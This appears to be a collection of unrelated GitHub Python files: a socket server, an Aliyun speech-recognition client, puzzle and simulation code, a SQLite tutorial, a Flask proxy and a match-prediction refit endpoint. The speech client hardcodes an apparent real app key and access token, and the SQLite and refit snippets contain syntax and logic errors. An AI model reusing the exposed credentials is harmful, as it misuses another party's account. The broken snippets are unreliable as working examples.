shutdown'\n if self._sock:\n self._sock.close()\n if exc_type:\n if not exc_type is KeyboardInterrupt:\n message = f'Server stopped with error ({exc_type}, {exc_val})'\n logging.error(message, exc_info=exc_val)\n else:\n logging.info(message)\n return True\n\n async def main(self):\n\n while True:\n\n try:\n client, address = self._sock.accept()\n if client:\n self._connections.append(client)\n logging.info(\n f'Client was connected with {address[0]}:{address[1]} | Connections: {len(self._connections)}')\n except Exception:\n pass\n else:\n client.setblocking(0) # снимаем блокировку и у клиента тоже\n\n if not self._connections:\n continue\n\n rlist, wlist, xlist = select.select(self._connections, self._connections, self._connections, 0)\n\n await self.read(rlist)\n await self.write(wlist)\n\n def start(self, backlog=5):\n\n self._sock = socket()\n self._sock.bind((self._host, self._port,))\n self._sock.settimeout(0) # sock.setblocking(False)\n self._sock.listen(backlog)\n logging.info(f'Server was started with {self._host}:{self._port}')\n\n ioloop = asyncio.get_event_loop()\n ioloop.run_until_complete(self.main())\n ioloop.close()\n\n async def read(self, client_socks):\n for client_sock in client_socks:\n try:\n b_request = client_sock.recv(self._buffersize)\n if b_request:\n self._requests.append(b_request)\n except Exception:\n pass\n print(f'read from to {client_sock}')\n await asyncio.sleep(1)\n\n async def write(self, client_socks):\n if self._requests:\n b_request = self._requests.pop()\n b_response = self._handler(b_request)\n for client_sock in client_socks:\n try:\n client_sock.send(b_response)\n except Exception:\n pass\n print(f'write to {client_sock}')\n await asyncio.sleep(1)\n","repo_name":"VasilyMagay/GeekBrains-Python","sub_path":"Messenger/server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35034644426","text":"# -*- coding: UTF-8 -*-\n# Python 2.x 引入httplib模块\n# import httplib\n# Python 3.x 引入http.client模块\nimport http.client\nimport json\nimport argparse\ndef process(request, token, audioFile) :\n # 读取音频文件\n with open(audioFile, mode = 'rb') as f:\n audioContent = f.read()\n host = 'nls-gateway.cn-shanghai.aliyuncs.com'\n # 设置HTTP请求头部\n httpHeaders = {\n 'X-NLS-Token': token,\n 'Content-type': 'application/octet-stream',\n 'Content-Length': len(audioContent)\n }\n # Python 2.x 请使用httplib\n # conn = httplib.HTTPConnection(host)\n # Python 3.x 请使用http.client\n conn = http.client.HTTPConnection(host)\n conn.request(method='POST', url=request, body=audioContent, headers=httpHeaders)\n response = conn.getresponse()\n print('Response status and response reason:')\n print(response.status ,response.reason)\n body = response.read()\n try:\n print('Recognize response is:')\n body = json.loads(body)\n print(body)\n status = body['status']\n if status == 20000000 :\n result = body['result']\n print('Recognize result: ' + result)\n else :\n print('Recognizer failed!')\n except ValueError:\n print('The response is not json format string')\n conn.close()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--wav_path\", type=str,\n help=\"path of wave file\")\n args = parser.parse_args()\n wav_path = args.wav_path\n appKey = 'FcLZ8RjdsCKGv0Jv'\n token = '9a8e7ea9124643948c8a8504eef18c37'\n # 服务请求地址\n url = 'http://nls-gateway.cn-shanghai.aliyuncs.com/stream/v1/asr'\n # 音频文件\n audioFile = wav_path\n format = 'pcm'\n sampleRate = 16000\n enablePunctuationPrediction = True\n enableInverseTextNormalization = True\n enableVoiceDetection = False\n # 设置RESTful请求参数\n request = url + '?appkey=' + appKey\n request = request + '&format=' + format\n request = request + '&sample_rate=' + str(sampleRate)\n if enablePunctuationPrediction :\n request = request + '&enable_punctuation_prediction=' + 'true'\n if enableInverseTextNormalization :\n request = request + '&enable_inverse_text_normalization=' + 'true'\n if enableVoiceDetection :\n request = request + '&enable_voice_detection=' + 'true'\n print('Request: ' + request)\n process(request, token, audioFile)\n","repo_name":"wellido/ASR-API-Study","sub_path":"ASR/ali_api.py","file_name":"ali_api.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"6819737549","text":"import re\nfrom aoc import *\nimport numpy as np\nfrom functools import *\nfrom itertools import *\n\ninp = read_blocks()\nalgo = inp[0][0][0]\nprint(algo)\nraw_field = inp[1]\nf = {}\nfor y, line in enumerate(raw_field):\n for x, c in enumerate(line[0]):\n f[(x, y)] = c\n\n\ndef step2(alive):\n res = {}\n candidates = set()\n x0 = min(p[0] for p in alive)\n y0 = min(p[1] for p in alive)\n x1 = max(p[0] for p in alive)\n y1 = max(p[1] for p in alive)\n for x in range(x0-3, x1+4):\n for y in range(y0-3, y1+4):\n index = 0\n for ny in [y - 1, y, y + 1]:\n for nx in [x - 1, x, x + 1]:\n index = index * 2\n if (nx, ny) in alive and alive[(nx, ny)] == '#':\n index += 1\n res[(x, y)] = algo[index]\n alive = res\n res = {}\n for x in range(x0-2, x1+3):\n for y in range(y0-2, y1+3):\n index = 0\n for ny in [y - 1, y, y + 1]:\n for nx in [x - 1, x, x + 1]:\n index = index * 2\n if (nx, ny) in alive and alive[(nx, ny)] == '#':\n index += 1\n res[(x, y)] = algo[index]\n\n return res\n\n\nf = step2(f)\n\nres = sum(1 for p in f.keys() if f[p] == '#')\nprint(algo)\nprint(\"Part One\", res)\n\nfor i in range(24):\n print()\n f = step2(f)\nres = sum(1 for p in f.keys() if f[p] == '#')\n\nprint(\"Part Two\", res)\n","repo_name":"xoposhiy/aoc","sub_path":"2021/20.py","file_name":"20.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"44"} +{"seq_id":"14950622917","text":"from ManagerBL import Manager_BL\r\nclass Manager_UI:\r\n \r\n @staticmethod\r\n def TakeProductInputFromAdmin():\r\n name = input(\"Enter Product Name: \")\r\n quantity = float(input(\"Enter Product Quantity: \"))\r\n price = float(input(\"Enter Product Price: \"))\r\n if name != None and quantity != None and price != None:\r\n p = Manager_BL(name,quantity,price)\r\n return p\r\n else:\r\n return None\r\n \r\n @staticmethod\r\n def AdminInterface():\r\n print(\"1. View Products\")\r\n print(\"2. Add Products\")\r\n print(\"3. Delete Product\")\r\n print(\"4. Change Quantity\")\r\n print(\"5. Go Back\")\r\n print(\"-------------------------\")\r\n option = input(\"Enter Your Option...\")\r\n return option\r\n ","repo_name":"Irtazamanzoor009/Python-App","sub_path":"ManagerUI.py","file_name":"ManagerUI.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4596904465","text":"from mesa import Model\nfrom mesa.datacollection import DataCollector\nfrom mesa.space import Grid\nfrom mesa.time import RandomActivation\n\nfrom agent import TreeCell\n\nclass ForestFire(Model):\n \"\"\"\n Simple Forest Fire model.\n \"\"\"\n\n def __init__(self, height=100, width=100, density=0.65):\n \"\"\"\n Create a new forest fire model.\n Args:\n height, width: The size of the grid to model\n density: What fraction of grid cells have a tree in them.\n \"\"\"\n # Set up model objects\n self.schedule = RandomActivation(self)\n self.grid = Grid(height, width, torus=False)\n\n self.datacollector = DataCollector(\n {\n \"Fine\": lambda m: self.count_type(m, \"Fine\"),\n \"On Fire\": lambda m: self.count_type(m, \"On Fire\"),\n \"Burned Out\": lambda m: self.count_type(m, \"Burned Out\"),\n }\n )\n\n # Place a tree in each cell with Prob = density\n for (contents, x, y) in self.grid.coord_iter():\n if self.random.random() < density:\n # Create a tree\n new_tree = TreeCell((x, y), self)\n # Set all trees in the first column on fire.\n if x == 0:\n new_tree.condition = \"On Fire\"\n self.grid.place_agent(new_tree, (x, y))\n self.schedule.add(new_tree)\n\n self.running = True\n self.datacollector.collect(self)\n\n def step(self):\n \"\"\"\n Advance the model by one step.\n \"\"\"\n self.schedule.step()\n # collect data\n self.datacollector.collect(self)\n\n # Halt if no more fire\n if self.count_type(self, \"On Fire\") == 0:\n self.running = False\n\n @staticmethod\n def count_type(model, tree_condition):\n \"\"\"\n Helper method to count trees in a given condition in a given model.\n \"\"\"\n count = 0\n for tree in model.schedule.agents:\n if tree.condition == tree_condition:\n count += 1\n return count","repo_name":"octavio-navarro/TC2008B","sub_path":"mesaExamples/forestFire/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"44"} +{"seq_id":"69794855175","text":"from backend.common_tile import CommonTile\nimport math\n\nfrom backend.features.river import River\n\n\nclass Dam(CommonTile):\n\n def __init__(self):\n super().__init__()\n self.default_building_list = [\n 'hydroelectric_dam',\n ]\n self._building_list = None\n self._hydroelectric_dam = None\n self._powered = None\n self._power = None\n self.housing = self.housing + 3\n self.appeal = 1\n\n # building_list\n @property\n def building_list(self):\n if self._building_list is None:\n return None\n return self._building_list\n\n # @building_list.setter\n def update_building_list(self, value):\n if self._building_list is None:\n self._building_list = []\n self._building_list.append(value)\n\n def remove_building_list(self, value):\n if self._building_list is None:\n return None\n self._building_list.remove(value)\n\n # hydroelectric_dam\n @property\n def hydroelectric_dam(self):\n if self._hydroelectric_dam is None:\n return False\n return self._hydroelectric_dam\n\n @hydroelectric_dam.setter\n def hydroelectric_dam(self, value):\n if value:\n self.maintenance = self.maintenance + 1\n self.update_building_list('hydroelectric_dam')\n self._hydroelectric_dam = True\n\n # power - Whats the power draw\n @property\n def power(self):\n if self._power is None:\n return 0\n return self._power\n\n @power.setter\n def power(self, value):\n self._power = value\n\n # powered - Does the city need power?\n @property\n def powered(self):\n if self._powered is None:\n return False\n return self._powered\n\n @powered.setter\n def powered(self, value):\n self.power = 0\n self._powered = value\n\n def set_buildings(\n self,\n final_improvement=None,\n powered=None):\n\n if final_improvement is None:\n self.powered = True\n final_improvement = 'hydroelectric_dam'\n if final_improvement == 'hydroelectric_dam' and powered is None:\n powered = True\n try:\n final_improvement = int(final_improvement)\n except:\n pass\n if isinstance(final_improvement, int):\n final_improvement = self.default_building_list[final_improvement]\n\n if powered:\n self.powered = True\n\n for building in self.default_building_list:\n if building == final_improvement:\n setattr(self, building, True)\n break\n else:\n setattr(self, building, True)\n\n def calculate_adjacency(self, tile_obj, target_index, adj_list): # pragma: no cover\n \"\"\"\n I dont know if removing a dam from the orig object like this will actually work...\n if it doesnt it needs to be taken care of in another method\n \"\"\"\n target_object = getattr(tile_obj, target_index)\n\n adj_river = 0\n for adj_obj in adj_list:\n if adj_obj is None:\n continue\n if isinstance(adj_obj.district, River):\n adj_river += 1\n if adj_river < 2:\n target_object.district = None\n\n def calculate_specialist_yield(self):\n pass\n","repo_name":"aecobb53/civ_vi_city_planner","sub_path":"backend/districts/dam.py","file_name":"dam.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"17976485556","text":"import sqlite3\nconn = sqlite3.connect('example.db')\n\n#This code is used to create the Data Base\n\ndef createDB():\n conn = sqlite3.connect(\"example.db\")\n cursor = conn.cursor()\n cursor.execute(\n \"\"\"CREATE TABLE example (\n nombre text,\n apellido text,\n edad interger\"\"\"\n )\n conn.commit()\n conn.close()\n\n#This code is used to create a Table in the Data Base\n\ndef createTable():\n conn = sqlite3.connect('example.db')\n conn.commit()\n conn.close()\n\n#This code is to add data in the table\n\ndef insertRow(nombre, apellido, edad):\n conn = sqlite3.connect('example.db')\n cursor = conn.cursor()\n instruccion = f\"INSERT INTO example VALUES ('{nombre}', {apellido}, {edad})\"\n cursor.execute(instruccion)\n conn.commit()\n conn.close() \n\n#This code is to give you the data\n\ndef readRows():\n conn = sqlite3.connect('example.db')\n cursor = conn.cursor()\n instruccion = f\"SELECT * FROM example \"\n cursor.execute(instruccion)\n datos = cursor.fetchall()\n conn.commit()\n conn.close() \n print(datos)\n\n\n#This code is to give you the data in the order you want removing and putting \"DESC\"\n\ndef readordered(field):\n conn = sqlite3.connect('example.db')\n cursor = conn.cursor()\n instruccion = f\"SELECT * FROM example ORDERER BY {field} DESC\"\n cursor.execute(instruccion)\n datos = cursor.fetchall()\n conn.commit()\n conn.close() \n print(datos)\n\n#this code is to run the functions \n\nif __name__ == \"__main__\":\n #put this code only once then yoy put \"#\" in the beggining\n createDB()\n createTable()\n \n #this code is to add Rows in the table\n insertRow(\"Josue\", \"Obando_Pimentel\", 44)\n insertRow(\"Merary\", \"Chavarria_Monge\", 39)\n insertRow(\"Joel\", \"Obando_Chavarria\", 12) \n insertRow(\"Lidny\", \"Obando_Chavarria\", 9)\n\n #or you can put\n example = [\n (\"Josue\", \"Obando_Pimentel\", 44)\n (\"Merary\", \"Chavarria_Monge\", 39) \n (\"Joel\", \"Obando_Chavarria\", 12)\n (\"Lidny\", \"Obando_Chavarria\", 9)\n ]\n\n #this code give you data\n readRows()\n\n #and this is to reed ordered the data\n readordered()","repo_name":"Wolfcrak/Data-Base-with-Python-and-SQLite3","sub_path":"Example_DataBase.py","file_name":"Example_DataBase.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1956798589","text":"S, N = list(map(int, input().split()))\r\nusers = []\r\nfor _ in range(N):\r\n users.append(int(input()))\r\n\r\nusers_sorted = sorted(users)\r\nsumm = 0\r\n\r\nfor i in range(1, len(users_sorted) + 1):\r\n users_cut = users_sorted[:i]\r\n summ = sum(users_cut)\r\n if summ <= S:\r\n number = i\r\nprint(number)\r\n","repo_name":"Danilov-Egor/coursera_python_programming","sub_path":"week 6/создание архива.py","file_name":"создание архива.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"38421491704","text":"import math\nfrom robotParams import *\nfrom geometry_msgs.msg import Pose2D\n\n# true - obstacle, false - no obstacle\n# y - row, x - column\n\nclass grid_pos_t():\n def __init__(self, x=None, y=None):\n self.grid_x = x\n self.grid_y = y\n def __str__(self):\n return(' '.join([\"y:\", str(self.grid_y), \"x:\", str(self.grid_x)]))\n def __repr__(self):\n return(' '.join([\"y:\", str(self.grid_y), \"x:\", str(self.grid_x)]))\n\ndef map_Pose2Do_room(pos: Pose2D):\n grid_pos = grid_pos_t()\n grid_pos.grid_x = int((pos.x + CELL_SIZE_METER/2*(MAP_SIZE + 1))/CELL_SIZE_METER)\n grid_pos.grid_y = int((-pos.y + CELL_SIZE_METER/2*(MAP_SIZE + 1))/CELL_SIZE_METER)\n return grid_pos\n\n\ndef map_room_to_position(grid_pos: grid_pos_t):\n pos = Pose2D()\n pos.x = CELL_SIZE_METER*grid_pos.grid_x - MAP_SIZE*CELL_SIZE_METER/2\n pos.y = -CELL_SIZE_METER*grid_pos.grid_y + MAP_SIZE*CELL_SIZE_METER/2\n return pos\n\ndef laser_through_tiles(range: float, angle: float, ranger_pos: Pose2D, max_range: float):\n obstacle_pos = Pose2D()\n grid_ranger_pos = grid_pos_t()\n grid_obstacle_pos = grid_pos_t()\n \n # calculate obstacle position basing on ranger measurement\n # if range is over max range no obstacle found\n if range > max_range:\n obstacle_found = False\n obstacle_pos.x = math.cos((ranger_pos.theta + angle)) * max_range + ranger_pos.x\n obstacle_pos.y = math.sin((ranger_pos.theta + angle)) * max_range + ranger_pos.y\n else:\n obstacle_found = True\n obstacle_pos.x = math.cos((ranger_pos.theta + angle)) * range + ranger_pos.x\n obstacle_pos.y = math.sin((ranger_pos.theta + angle)) * range + ranger_pos.y\n \n # convert laser scan to grid and update map by adding unoccupied tiles\n grid_ranger_pos = map_Pose2Do_room(ranger_pos)\n grid_obstacle_pos = map_Pose2Do_room(obstacle_pos)\n empty_tiles = _sensor_update_line(grid_ranger_pos.grid_x, grid_ranger_pos.grid_y,\n grid_obstacle_pos.grid_x, grid_obstacle_pos.grid_y)\n\n # add obstacle to the map if it was found\n obstacle_tiles = []\n if obstacle_found:\n # if it isnt outside of the map\n if (grid_obstacle_pos.grid_x > 0\n and grid_obstacle_pos.grid_y > 0\n and grid_obstacle_pos.grid_x < MAP_SIZE-1\n and grid_obstacle_pos.grid_y < MAP_SIZE-1\n ):\n obstacle_tiles = [grid_obstacle_pos] #add obstacle\n return empty_tiles, obstacle_tiles\n \ndef _sensor_update_line(x0: int, y0: int, x1: int, y1: int):\n if abs(y1 - y0) < abs(x1 - x0):\n if x0 < x1:\n return _sensor_bresenham_low(x0, y0, x1, y1, 1)\n else:\n return _sensor_bresenham_low(x0, y0, x1, y1, -1)\n else:\n if y0 < y1:\n return _sensor_bresenham_high(x0, y0, x1, y1, 1)\n else:\n return _sensor_bresenham_high(x0, y0, x1, y1, -1)\n\n\ndef _sensor_bresenham_low(x0: int, y0: int, x1: int, y1: int, sign: int):\n cells_found = []\n dx = x1 - x0\n dy = y1 - y0\n yi = 1\n if sign < 0:\n dx = -dx\n dy = -dy\n if dy < 0:\n yi = -1\n dy = -dy\n if sign < 0:\n yi = -yi\n D = int((dy*2) - dx)\n while not int(x0) == int(x1):\n # only if tile is inside a map (and not on the edge) set tile to unoccupied\n if(x0 > 0 and y0 > 0 and x0 < MAP_SIZE-1 and y0 < MAP_SIZE-1):\n cells_found.append(grid_pos_t(int(x0), int(y0)))\n else:\n return cells_found\n if D > 0:\n y0 += yi\n D += (dy - dx)*2\n else:\n D += dy*2\n x0+=sign\n return cells_found\n \n\ndef _sensor_bresenham_high(x0: int, y0: int, x1: int, y1: int, sign: int):\n cells_found = []\n dx = x1 - x0\n dy = y1 - y0\n xi = 1\n if sign < 0:\n dx = -dx\n dy = -dy\n if dx < 0:\n xi = -1\n dx = -dx\n if sign < 0:\n xi = -xi\n D = int((dx*2) - dy)\n\n while not int(y0) == int(y1):\n # only if tile is inside a map (and not on the edge) set tile to unoccupied\n if(x0 > 0 and y0 > 0 and x0 < MAP_SIZE-1 and y0 < MAP_SIZE-1):\n cells_found.append(grid_pos_t(int(x0), int(y0)))\n else:\n return cells_found\n if D > 0:\n x0 += xi\n D += (dx - dy)*2\n else:\n D += dx*2\n y0+=sign\n return cells_found\n","repo_name":"kecajjo/mobile_robots","sub_path":"bresenham.py","file_name":"bresenham.py","file_ext":"py","file_size_in_byte":4396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"31940748909","text":"import typing\nimport unittest\n\nimport numpy as np\n\nimport pandas as pd\n\nimport sklearn.datasets\nimport sklearn.model_selection\n\nfrom autoPyTorch.datasets.tabular_dataset import DataTypes, TabularDataset\nfrom autoPyTorch.utils.backend import create\nfrom autoPyTorch.utils.pipeline import get_dataset_requirements\n\n\nclass DataFrameTest(unittest.TestCase):\n def runTest(self):\n df = pd.DataFrame([['a', 0.1, 1], ['b', 0.2, np.nan]])\n target_df = pd.Series([1, 2])\n ds = TabularDataset(df, target_df)\n self.assertEqual(ds.data_types, [DataTypes.String, DataTypes.Float, DataTypes.Canonical])\n self.assertEqual(set(ds.itovs[2]), {np.nan, 1})\n self.assertEqual(set(ds.itovs[0]), {np.nan, 'a', 'b'})\n\n self.assertEqual(ds.vtois[0]['a'], 1)\n self.assertEqual(ds.vtois[0][np.nan], 0)\n self.assertEqual(ds.vtois[0][pd._libs.NaT], 0)\n self.assertEqual(ds.vtois[0][pd._libs.missing.NAType()], 0)\n self.assertTrue((ds.nan_mask == np.array([[0, 0, 0], [0, 0, 1]], dtype=np.bool)).all())\n\n\nclass NumpyArrayTest(unittest.TestCase):\n def runTest(self):\n matrix = np.array([(0, 0.1, 1), (1, np.nan, 3)], dtype='f4, f4, i4')\n target_df = pd.Series([1, 2])\n ds = TabularDataset(matrix, target_df)\n self.assertEqual(ds.data_types, [DataTypes.Canonical, DataTypes.Float, DataTypes.Canonical])\n self.assertEqual(set(ds.itovs[2]), {np.nan, 1, 3})\n\n self.assertEqual(ds.vtois[0][1], 2)\n self.assertEqual(ds.vtois[0][np.nan], 0)\n self.assertEqual(ds.vtois[0][pd._libs.NaT], 0)\n self.assertEqual(ds.vtois[0][pd._libs.missing.NAType()], 0)\n self.assertTrue((ds.nan_mask == np.array([[0, 0, 0], [0, 1, 0]], dtype=np.bool)).all())\n\n\ndef get_data_to_train() -> typing.Dict[str, typing.Any]:\n \"\"\"\n This function returns a fit dictionary that within itself, contains all\n the information needed\n \"\"\"\n\n # Get the training data for tabular classification\n # Move to Australian to showcase numerical vs categorical\n X, y = sklearn.datasets.fetch_openml(data_id=40981, return_X_y=True, as_frame=True)\n X_train, X_test, y_train, y_test = sklearn.model_selection.train_test_split(\n X,\n y,\n random_state=1,\n test_size=0.2,\n )\n # Fit the pipeline\n fit_dictionary = {\n 'X_train': X_train,\n 'y_train': y_train,\n 'X_test': X_test,\n 'y_test': y_test,\n }\n\n return fit_dictionary\n\n\nclass TabularDatasetTest(unittest.TestCase):\n\n def test_get_dataset_properties(self):\n # Get data to train\n fit_dictionary = get_data_to_train()\n\n # Build a repository with random fitted models\n try:\n backend = create(temporary_directory='/tmp/autoPyTorch_ensemble_test_tmp',\n output_directory='/tmp/autoPyTorch_ensemble_test_out',\n delete_tmp_folder_after_terminate=False)\n except Exception:\n self.assertRaises(FileExistsError)\n return unittest.skip(\"File already exists\")\n\n fit_dictionary['backend'] = backend\n\n # Create the directory structure\n backend._make_internals_directory()\n\n # Create a datamanager for this toy problem\n datamanager = TabularDataset(\n X=fit_dictionary['X_train'], Y=fit_dictionary['y_train'],\n X_test=fit_dictionary['X_test'], Y_test=fit_dictionary['y_test'],\n )\n backend.save_datamanager(datamanager)\n\n datamanager = backend.load_datamanager()\n info = {'task_type': datamanager.task_type,\n 'output_type': datamanager.output_type,\n 'issparse': datamanager.issparse,\n 'numerical_columns': datamanager.numerical_columns,\n 'categorical_columns': datamanager.categorical_columns}\n dataset_requirements = get_dataset_requirements(info)\n\n dataset_properties = datamanager.get_dataset_properties(dataset_requirements)\n\n self.assertIsInstance(dataset_properties, dict)\n for dataset_requirement in dataset_requirements:\n self.assertIn(dataset_requirement.name, dataset_properties.keys())\n self.assertIsInstance(dataset_properties[dataset_requirement.name], dataset_requirement.supported_types)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"LMZimmer/Auto-PyTorch_refactor","sub_path":"test/test_datasets/test_tabular_dataset.py","file_name":"test_tabular_dataset.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70689418694","text":"import os\nfrom flask import Flask, Response\nimport requests\n\n\nurl = os.getenv('APP_REQUEST_URL')\nif url is None or len(url.strip()) == 0:\n raise Exception('APP_REQUEST_URL env is required')\nelif not url.lower().startswith('http://') and not url.lower().startswith('https://'):\n raise Exception(f'APP_REQUEST_URL should start with http:// or https://')\n\nheader_bearer_token = os.getenv('APP_REQUEST_BEARER_TOKEN', None)\nheader_bearer_token_path = os.getenv('APP_REQUEST_BEARER_TOKEN_PATH', None)\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef root():\n headers = {}\n if header_bearer_token_path is not None:\n if os.path.isfile(header_bearer_token_path):\n with open(header_bearer_token_path) as f:\n token = f.read()\n headers['Authorization'] = f'Bearer {token}'\n elif header_bearer_token is not None:\n headers['Authorization'] = f'Bearer {header_bearer_token}'\n\n r = requests.get(url, headers=headers)\n if r.ok:\n response = Response(r.text)\n response.headers['content-type'] = r.headers['content-type'] # same as the original reques\n response.headers['x-meta'] = 'status=ok' # extra information\n return response\n else:\n return Response(r.text, status=r.status_code)\n","repo_name":"dev-sareno/flask-mitm-http","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"45058757267","text":"# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n# faster than 99.58% of online submissions\nclass Solution(object):\n def mergeTwoLists(self, l1, l2):\n l3 = ptr = ListNode(-1)\n while l1 or l2:\n if l1 and l2:\n if l1.val < l2.val:\n ptr.next = ListNode(l1.val)\n l1 = l1.next\n else:\n ptr.next = ListNode(l2.val)\n l2 = l2.next\n ptr = ptr.next\n else:\n if not l1:\n ptr.next = ListNode(l2.val)\n l2 = l2.next\n else:\n ptr.next = ListNode(l1.val)\n l1 = l1.next\n ptr = ptr.next\n return l3.next\n\n# first attempt — faster than 65 - 68 % of online submissions\n'''\nclass Solution(object):\n def mergeTwoLists(self, l1, l2):\n ptr = l1; ptr2 = l2;\n if ptr.val < ptr2.val:\n a = ListNode(ptr.val)\n ptr = ptr.next\n else:\n a = ListNode(ptr2.val)\n ptr2 = ptr2.next\n ptr3 = a\n while ptr != None and ptr2 != None:\n if ptr.val < ptr2.val:\n ptr3.next = ListNode(ptr.val)\n ptr = ptr.next\n ptr3 = ptr3.next\n elif ptr.val > ptr2.val:\n ptr3.next = ListNode(ptr2.val)\n ptr2 = ptr2.next\n ptr3 = ptr3.next\n else:\n ptr3.next = ListNode(ptr.val);ptr3 = ptr3.next\n ptr3.next = ListNode(ptr.val);ptr3 = ptr3.next\n ptr = ptr.next; ptr2 = ptr2.next\n if ptr == None:\n while ptr2.next != None:\n ptr3.next = ListNode(ptr2.val)\n ptr2 = ptr2.next; ptr3 = ptr3.next\n else:\n while ptr.next != None:\n ptr3.next = ListNode(ptr.val)\n ptr = ptr.next; ptr3 = ptr3.next\n return a\n\n'''\n\na = [1,2,4]\nb = [1,3,4]\n\nl1 = ptr = ListNode(a[0])\nfor i in range(1,len(a)):\n ptr.next = ListNode(a[i])\n ptr = ptr.next\n\nl2 = ptr = ListNode(b[0])\nfor i in range(1,len(b)):\n ptr.next = ListNode(b[i])\n ptr = ptr.next\n\ns = Solution()\nprint(s.mergeTwoLists(l1,l2))\n","repo_name":"hamza3256/Coding-practice","sub_path":"Python/Other/mergeTwoLists.py","file_name":"mergeTwoLists.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73790081413","text":"from fastapi import FastAPI\nimport time\nfrom pydantic import BaseModel\nfrom pathlib import Path\nimport pickle\nfrom peewee import *\nimport os\nimport pandas as pd\nimport numpy as np\n\n\n__version__ = \"0.1.0\"\n\ndatabaseConnection = os.environ.get('DB_CONNECTION')\npg_db = PostgresqlDatabase(databaseConnection)\n\n\nclass BaseModel(Model):\n class Meta:\n database = pg_db\n\n\nclass Match(BaseModel):\n match_id = BigAutoField(column_name='MatchId')\n radiant_win = BooleanField(column_name='RadiantWin')\n start_time = BigIntegerField(column_name='StartTime')\n\n duration = IntegerField(column_name='Duration')\n radiant_team = TextField(column_name='RadiantTeam', null=False)\n dire_team = TextField(column_name='DireTeam', null=False)\n average_mmr = IntegerField(column_name='AverageMMR', null=True)\n\n class Meta:\n table_name = 'Matches'\n\n\napp = FastAPI()\n\n\n@app.get(\"/\")\ndef home():\n return {\"health_check\": \"OK\", \"model_version\": __version__}\n\n\n@app.get(\"/refit\")\ndef refit():\n unix_time_now = int(time.time())\n unix_time_yesterday = unix_time_now - 86400 # one unix timestamp day\n query = Match.select().where(Match.start_time > unix_time_yesterday).order_by(Match.match_id.desc())\n\n matches_selected = query.dicts().execute()\n\n df2 = pd.DataFrame([m.__dict__ for m in matches_selected ])\n\n BASE_DIR = Path(__file__).resolve(strict=True).parent\n\n with open(f\"{BASE_DIR}/model-{__version__}.pkl\", \"rb\") as f:\n model = pickle.load(f)\n\n logDf = df2.drop(columns=['RadiantTeam', 'DireTeam'])\n features = logDf.drop(columns=['RadiantWin'])\n labels = logDf['RadiantWin']\n logDf.head(5)\n\n features\n input_data = []\n for i, j in tqdm(features.iterrows()):\n arr1 = np.zeros(138*5)\n arr2 = np.zeros(138*5)\n for hero_ind in range(1, 6):\n arr1[138*(hero_ind-1) + int(j['RadiantHero%s' % hero_ind])] = 1\n arr2[138*(hero_ind-1) + int(j['DireHero%s' % hero_ind])] = 1\n concatenated_arr = np.concatenate([arr1, arr2])\n input_data += [concatenated_arr[:1500].astype(bool)]\n\n x = np.array(input_data)\n\n model.fit(x, labels, epoch=100)\n\n os.remove(f'{BASE_DIR}/model-{__version__}.pkl')\n pickle.dump(model, open(f'{BASE_DIR}/model-{__version__}.pkl', 'wb'))\n\n return {\"Done!\"}\n","repo_name":"dszharikov/diploma_spbu","sub_path":"src/MLSerializer/ml-serializer.py","file_name":"ml-serializer.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72328950212","text":"cor = {\n 'l': '\\033[m',\n 'blue_bold': '\\033[1;34m',\n 'cyan_bold': '\\033[1;36m',\n 'red_underline': '\\033[4;31m',\n 'red_bold': '\\033[1;31m',\n 'green_bold': '\\033[1;32m',\n 'yellow_bold': '\\033[1;33m'\n }\n\nprint('\\n{}ÍNDICE DE MASSA CORPORAL{}'.format(cor['blue_bold'], cor['l']))\n\npeso = float(input('\\n{}Qual seu peso em kg? '.format(cor['cyan_bold'])))\naltura = float(input('Qual sua altura em metros? '))\nimc = peso / (altura**2)\n\nprint('\\nSeu índice de massa corporal é {:.1f}'.format(imc))\n\nif imc < 18.5:\n print('{}Você está abaixo do peso.'.format(cor['yellow_bold']))\nelif (imc >= 18.5) and (imc < 25):\n print(\"{}Você está no peso ideal.\".format(cor['green_bold']))\nelif (imc >= 25) and (imc < 30):\n print('{}Você está em sobrepeso.'.format(cor['yellow_bold']))\n\nelif (imc >= 30) and (imc < 40):\n print('{}Você está com obesidade.'.format(cor['red_bold']))\nelif imc >= 40:\n print('{}Você está com obesidade 